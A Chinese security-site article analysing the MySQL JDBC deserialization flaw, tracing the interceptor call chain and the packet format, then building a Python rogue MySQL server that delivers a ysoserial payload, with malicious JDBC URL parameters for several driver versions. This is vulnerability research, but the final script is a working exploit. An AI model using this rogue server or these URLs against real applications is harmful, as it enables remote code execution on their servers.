freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JDBC 反序列化漏洞分析& POC 编写
2022-01-24 11:22:42
所属地 广东省

一、漏洞简介

MySQL JDBC反序列化漏洞在BlackHat Europe 2019的议题中反复被提及。针对不同的版本,其有不同的利用方式。

二、利用链分析

首先分析一下mysql 8.0.14 版本环境下的利用方式。从一个漏洞挖掘者的视角,来对整个调用链做一个分析。

Java中,如果想要触发反序列化,我们需要调用readObject方法,因此,在寻找整个利用链的过程中,首先需要定位到最后的触发点,也就是我们需要找到哪个地方调用了readObject方法。在该漏洞的利用过程中,最后用到的是ResultSetImplgetObject方法,我们跟进该方法查看一下代码:

1642993575_61ee17a75e8f0d3fdceb4.png!small?1642993575904

可以发现这里调用了readObject方法,也就是说,如果这里的data变量我们可以控制的话,就可以利用反序列化链进行攻击。这里先不看这个的data如何进行控制,而是去寻找如何能够触发这个getObject方法。

接下来我们找到了ResultSetUtil.resultSetToMap方法:

1642994180_61ee1a04de08aa3b71275.png!small?1642994183462

如果这里的rs变量传入的是ResultSetImpl对象的话,就可以调用到最上面的getObject方法。接下来需要继续寻找,哪个地方调用了ResultSetUtil.resultSetToMap,我们找到了ServerStatusDiffInterceptor.populateMapWithSessionStatusValues,其内部调用了上面的ResultSetUtil.resultSetToMap

1642994187_61ee1a0ba241dc0154093.png!small?1642994187974

然后我们继续检索,哪个地方调用了ServerStatusDiffInterceptor.populateMapWithSessionStatusValues,最后我们找到了ServerStatusDiffInterceptor.preProcess方法:

1642994193_61ee1a11d6f9d34006023.png!small?1642994199658

该漏洞前面部分的利用链就到此为止了。在这里需要思考的一个问题是,这里的preProcess方法如何进行调用。这里参考一下官方文档,关于MySQL Connector/J 8.0连接串参数属性https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-statements.html#cj-conn-prop_queryInterceptors

大致解释一下这个queryInterceptors参数,就是指定一个或者多个实现了com.mysql.cj.interceptors.QueryInterceptor接口的类,然后在进行SQL查询操作之前,执行该类中的一个方法从而来影响最终的查询结果,而这个方法就是preProcess方法。(在查询完之后,还会调用其postProcess方法在此进行一个处理)

这样,也就能够解释,为什么在构造payload的时候,需要在URL处指定一个queryInterceptors参数。此时还有一个问题,就是上面提到的这个参数,需要在进行SQL查询的时候才能进行触发,而在实际的利用过程中,只需要进行getConnection就能触发。通过简单的调试,可以发现在getConnection过程中,调用了查询语句:

1642994201_61ee1a19b9667f9c158e1.png!small?1642994202115

(我们将断点直接打在ServerStatusDiffInterceptor.preProcess这个方法上面,然后查看整个栈的情况,其实可以发现是通过调用了NativeProtocol类的一些方法后,最终调用了这个preProcess方法,从一个相对比较宏观的角度来看的话,可以按照上面的理解,在进行查询操作之前,就调用了preProcess方法进行了一个处理)

三、mysql数据包

到这里,整个利用的思路就比较清楚了,接下来要做的就是怎么去构造数据,最终能够进行反序列化漏洞的利用。根据上面的分析,我们把关注点放到ServerStatusDiffInterceptor.populateMapWithSessionStatusValues这个上面:

1642994209_61ee1a21f0d2afe7a9602.png!small?1642994210261

关键部分就是rs变量的构造,因为最后我们需要调用rs.getObject方法来进行触发。简单对整个代码进行分析,最后调用了rs.getObject方法,而在这个方法里面,data变量的值为执行查询语句后返回的表的第一列值(根据columnIndex)。我们对上述代码进行调试,当执行完show session status之后,如果可以执行byte[] data = getBytes(columnIndex);的话,那么data变量的值为:

1642994216_61ee1a28b66bcba8acfa1.png!small?1642994217158

转换成字符串的形式为Aborted_clients,其对应show session status的第一行第一列数据:

1642994226_61ee1a32101af6ad06dbb.png!small?1642994227653

因此,我们的攻击思路是伪造一个Fake Mysql,然后当这里进行查询的时候,返回一个我们想要构造的数据。这里的难点就是如何返回指定的数据。我们在rs这里下一个断点,然后使用wireshark来捕获一下数据包:

1642994232_61ee1a38e6ef25f68e572.png!small?1642994233340

上面最后的两个数据包,就是客户端发送了请求,然后服务端返回给客户端信息。这里我们参考官方给出的返回结果集的数据包格式,来分析一下:https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html

这里给出的一个示例为查询SELECT @@version_comment后,数据包返回的数据解析,我们先给出在mysql命令行下,输入该命令的返回结果:

1642994285_61ee1a6df18be63ffa0d7.png!small?1642994286278

然后我们获取数据包,查看返回的数据结果:(这里返回了四个序列)1642994316_61ee1a8c1e1c2a1ef5a13.png!small?1642994316578

根据官方文档的解释,我们对每个序列进行一个简单的介绍:

# 第一个序列字段
01 00 00 01 01
前面三个字节表示数据长度,然后接一个01表示sequence id,最后一个01表示返回的列数

# 第二个序列字段
27 00 00 | 02 | 03 64 65 66 | 00 | 00 | 00 | 11 40 40 76
65 72 73 69 6f 6e 5f 63 6f 6d 6d 65 6e 74 | 00 | 0c |
21 00 | 54 00 00 00 | fd | 00 00 1f 00 00
这里便于区分,我用|进行分隔开:
- 前面三个字节表示内容的长度
- 02表示sequence id
- 03 64 65 66为catalog
- 00表示schema,不使用一般置为0
- 00表示table
- 00表示org_table
- 下面一段的值为@@version_comment,可以对应我们查询的名称
- 00表示org_name
- 0c表示filter,通常为0c,不用改动
- 21 00 表示character_set
- 54 00 00 00表示column_length
- fd表示column_type,这里是string的意思
- 00 00表示flags
- 1f表示decimals
- 00 00表示filler_2
(大致理解为第二个字段用于定义了返回表的字段的一些信息,比如字段名,字段值类型等)

# 第三个序列字段
1d 00 00 03 1c 4d 79 53 51 4c 20 43 6f 6d 6d 75 6e 69 74 79 20 53 65 72 76 65 72 20 2d 20 47 50 4c
- 1d 00 00表示内容的长度
- 03表示sequence id
- 后面的部分表示具体的值,也就是对应的MySQL Community Server - GPL
(可以理解为该字段用来定义表中的值)

# 第四个序列字段
07 00 00 04 fe 00 00 02 00 00 00
- 07 00 00表示内容长度
- 04表示sequence id
- fe表示EOF
- 00表示warning_count
- 02 00表示status_flags,这里的意思为SERVER_STATUS_AUTOCOMMIT
(这个字段主要用于表示结束)

通过上面的介绍,我们就可以大致了解每个字段的作用,即分别用于定义列数、列名以及列值。接下来我们就可以大致知道POC怎么进行编写了,一个简单的方式为我们直接把协议的返回字段拿下来,然后修改其中的一部分信息,返回给客户端,即可完成数据的构造(前面的认证过程返回的数据我们直接复制粘贴返回字段值即可)。

四、Fake Mysql编写

接下来我们来编写一个完成认证过程的Fake Mysql服务端,可以直接粘贴获取Response数据包的值即可:

1642994347_61ee1aabad8d8b85911a5.png!small?1642994348156

import socket
import binascii

# 对应第一个问候数据包,当监听到连接之后,发送给客户端
GreetingInfo = "4a0000000a382e302e31320013000000080c16437d1a144000ffffc00200ffc31500000000000000000000203c5f03322d4f4863566101006d7973716c5f6e61746976655f70617373776f726400"

login1 = "0700000200000002000000"

# 用户发送账号和密码后,验证成功的返回数据包
loginValid = "01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"

resCharset = "0700000100000002000000"

resAutoCommit = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"


def startServer():
serverSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serverSocket.bind(("0.0.0.0",3306))
serverSocket.listen(1)
print("Start Fake Server:{}:{}".format("0.0.0.0","3306"))
while True:
# 获取到数据之后,开始进行交互
conn,addr = serverSocket.accept()

conn.send(binascii.a2b_hex(GreetingInfo))
while True:
data = conn.recv(1024)
print("接收到数据:{}".format(data))
# login验证
if b"mysql_native_password" in data:
conn.send(binascii.a2b_hex(login1))
elif b"auto_increment_increment" in data:
conn.send(binascii.a2b_hex(loginValid))
elif b"character_set_results" in data:
conn.send(binascii.a2b_hex(resCharset))
elif b"session.autocommit" in data:
conn.send(binascii.a2b_hex(resAutoCommit))
pass
if __name__ == '__main__':
startServer()

然后使用jdbc来进行连接,可以查看到客户端最后发送了一个SHOW SESSION STATUS的查询:

1642994367_61ee1abf3f21b334764c9.png!small?1642994367690

根据前面的介绍,SHOW SESSION STATUS查询过后,如果能够执行byte[] data = getBytes(columnIndex);data的值最后的结果为Aborted_clients,我们查找一下这个字符串,然后根据上面的分析,修改一下长度以及字符串内容:

# show session status返回值构造
part1 = "0100000102"
part2 = "4c00000203646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730d5661726961626c655f6e616d650d5661726961626c655f6e616d650cff0000010000fd0110000000"
part3 = "3c00000303646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730556616c75650556616c75650cff0000100000fd0000000000"
# part4就是我们想要构造部分,主要需要修改前三个字节、第5个字节以及中间的41626f727465645f636c69656e7473这个部分
# 第五个字节表示构造字符串的长度,前三个字节表示的长度从第5个字节开始算起
tmpPart4 = "120000040f41626f727465645f636c69656e74730139"
part4 = "090000" + "0406" + "6d31736e3077" + "0139"
part5 = "070000b3fe000002000000"
resPayload = part1 + part2 + part3 + part4 + part5

关键就在于修改上面的part4,需要修改前三个字节,第5个字节,以及想要构造的payload,按照上面的构造完成之后,通过调试可以发现,最后的值替换成了m1sn0w

1642994376_61ee1ac867da55e27330e.png!small?1642994377211

接下来开始正式构造POC,也就是我们需要开始控制条件语句,让其最终能够执行到byte[] data = getBytes(columnIndex);,并调用readObject方法,回到最终调用的getObject方法中:

1642994384_61ee1ad08dccca76ecd38.png!small?1642994385098

这里有三个主要的条件需要我们进行控制。第一个是获取的字段的mysql类型必须为BIT,关于BIT的描述:

/**
* BIT[(M)]
* A bit-field type. M indicates the number of bits per value, from 1 to 64. The default is 1 if M is omitted.
* Protocol: FIELD_TYPE_BIT = 16
*/

前面在描述第二个序列的时候,有介绍到fd这个值,表示的就是varchar类型,我们查看一下官方文档,即10对应的就是BIT类型。

1642994407_61ee1ae74166fd02c11b7.png!small?1642994407809

因此在最后构造POC的时候,只需要将part2后面的fd更改为10即可执行这个条件语句:

1642994414_61ee1aeea007b9bf14ca9.png!small?1642994415208

第二个绕过部分为autoDeserialize,只需要设置URL参数为autoDeserialize=true即可。第三个部分就是判断我们构造的payload数据前两个字节是否为-84-19,这其实就是序列化数据的标志。因此,最后的POC如下:

import socket
import binascii
# 对应第一个问候数据包,当监听到连接之后,发送给客户端
GreetingInfo = "4a0000000a382e302e31320013000000080c16437d1a144000ffffc00200ffc31500000000000000000000203c5f03322d4f4863566101006d7973716c5f6e61746976655f70617373776f726400"

login1 = "0700000200000002000000"

# 用户发送账号和密码后,验证成功的返回数据包
loginValid = "01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"

resCharset = "0700000100000002000000"

resAutoCommit = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"

# show session status返回值构造
part1 = "0100000102"
# part2 = "4c00000203646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730d5661726961626c655f6e616d650d5661726961626c655f6e616d650cff0000010000fd0110000000"
part2 = "4c00000203646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730d5661726961626c655f6e616d650d5661726961626c655f6e616d650cff0000010000100110000000"
part3 = "3c00000303646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730556616c75650556616c75650cff0000100000fd0000000000"

# part4就是我们想要构造部分,主要需要修改前三个字节、第5个字节以及中间的41626f727465645f636c69656e7473这个部分
# 第五个字节表示构造字符串的长度,前三个字节表示的长度从第5个字节开始算起
tmpPart4 = "120000040f41626f727465645f636c69656e74730139"
part4 = "090000" + "04" + "payload长度" + "payload" + "0139"
part5 = "070000b3fe000002000000"
resPayload = part1 + part2 + part3 + part4 + part5

def startServer():
serverSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serverSocket.bind(("0.0.0.0",3306))
serverSocket.listen(1)
print("Start Fake Server:{}:{}".format("0.0.0.0","3306"))
while True:
# 获取到数据之后,开始进行交互
conn,addr = serverSocket.accept()

conn.send(binascii.a2b_hex(GreetingInfo))
while True:
data = conn.recv(1024)
print("接收到数据:{}".format(data))
# login验证
if b"mysql_native_password" in data:
conn.send(binascii.a2b_hex(login1))
elif b"auto_increment_increment" in data:
conn.send(binascii.a2b_hex(loginValid))
elif b"character_set_results" in data:
conn.send(binascii.a2b_hex(resCharset))
elif b"session.autocommit" in data:
conn.send(binascii.a2b_hex(resAutoCommit))
elif b"SHOW SESSION STATUS" in data:
conn.send(binascii.a2b_hex(resPayload))

pass


if __name__ == '__main__':
startServer()

(这里有个坑,就是上面介绍payload前面那个字节表示payload的长度,如果说payload过长,需要两个或者多个字节来表示长度的话,就需要在前面加上一个fc

验证漏洞的话,我导入一个commons-collection3.1,利用ysoserial生成payload,确定长度后即可进行攻击了(这里选用了CommonsCollections5):

import socket
import binascii

# 对应第一个问候数据包,当监听到连接之后,发送给客户端
GreetingInfo = "4a0000000a382e302e31320013000000080c16437d1a144000ffffc00200ffc31500000000000000000000203c5f03322d4f4863566101006d7973716c5f6e61746976655f70617373776f726400"

login1 = "0700000200000002000000"

# 用户发送账号和密码后,验证成功的返回数据包
loginValid = "01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"

resCharset = "0700000100000002000000"

resAutoCommit = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"

# show session status返回值构造
part1 = "0100000102"
# part2 = "4c00000203646566000e73657373696f6e5f7374617475730e73657373696f6e5f7374617475730d5661726961626c655f6e616d650d5661726961626c655f6e616d650cff0000010000fd0110000000"
part2 = "2a00000203646566047465737404746573740474657374046e616d65046e616d650c3f00ffff0000fc9000000000"
part3 = "2c000003036465660474657374047465737404746573740576616c75650576616c75650c3f00ffff0000fc9000000000"

# part4就是我们想要构造部分,主要需要修改前三个字节、第5个字节以及中间的41626f727465645f636c69656e7473这个部分
# 第五个字节表示构造字符串的长度,前三个字节表示的长度从第5个字节开始算起
with open("poc","rb") as file:
payload = binascii.b2a_hex(file.read())
tmpPart4 = "120000040f41626f727465645f636c69656e74730139"

part4 = "220800" + "04" + "fc1d08" + payload.decode('utf-8') + "0139"

part5 = "07000005fe000022000100"
resPayload = part1 + part2 + part3 + part4 + part5

final = "0700000100000002000000"

warn = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000"
def startServer():
serverSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serverSocket.bind(("0.0.0.0",3306))
serverSocket.listen(1)
print("Start Fake Server:{}:{}".format("0.0.0.0","3306"))
while True:
# 获取到数据之后,开始进行交互
conn,addr = serverSocket.accept()

conn.send(binascii.a2b_hex(GreetingInfo))
while True:
data = conn.recv(1024)
print("接收到数据:{}".format(data))
# login验证
if b"mysql_native_password" in data:
conn.send(binascii.a2b_hex(login1))
elif b"auto_increment_increment" in data:
conn.send(binascii.a2b_hex(loginValid))
elif b"character_set_results" in data:
conn.send(binascii.a2b_hex(resCharset))
elif b"session.autocommit" in data:
conn.send(binascii.a2b_hex(resAutoCommit))
elif b"SHOW SESSION STATUS" in data:
conn.send(binascii.a2b_hex(resPayload))
elif b"AUTO" in data:
conn.send(binascii.a2b_hex(final))
elif b"WARNINGS" in data:
conn.send(binascii.a2b_hex(warn))

pass


if __name__ == '__main__':
startServer()

1642994443_61ee1b0b2008e89c87f42.png!small?1642994444234

五、总结

本文主要分析了mysql8.x环境下的反序列化漏洞的利用,漏洞利用点就在于jdbcURL可控,然后我们构造autoDeserializequeryInterceptors,让其远程连接Fake Mysql,最终触发了反序列化。本文用到的URL为:jdbc:mysql://127.0.0.1:3306/test?useSSL=false&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&serverTimezone=UTC。这里设置useSSL=false主要是为了方便抓取mysql数据包进行分析。

当然,在不同的mysql版本下,利用的方式稍微有一点点不同,但是大致原理是类似,这里就不再进行分析了。下面贴一个不同版本下jdbc反序列化漏洞的利用方式:(有兴趣的师傅自己研究吧)

# 6.x版本下需要设置的参数
autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

# 5.1.11及以上的5.x版本
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

# 5.1.29-5.1.40
detectCustomCollations=true&autoDeserialize=true

# 5.1.28-5.1.19
autoDeserialize=true
# 漏洞分析 # 反序列化漏洞 # JDBC
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录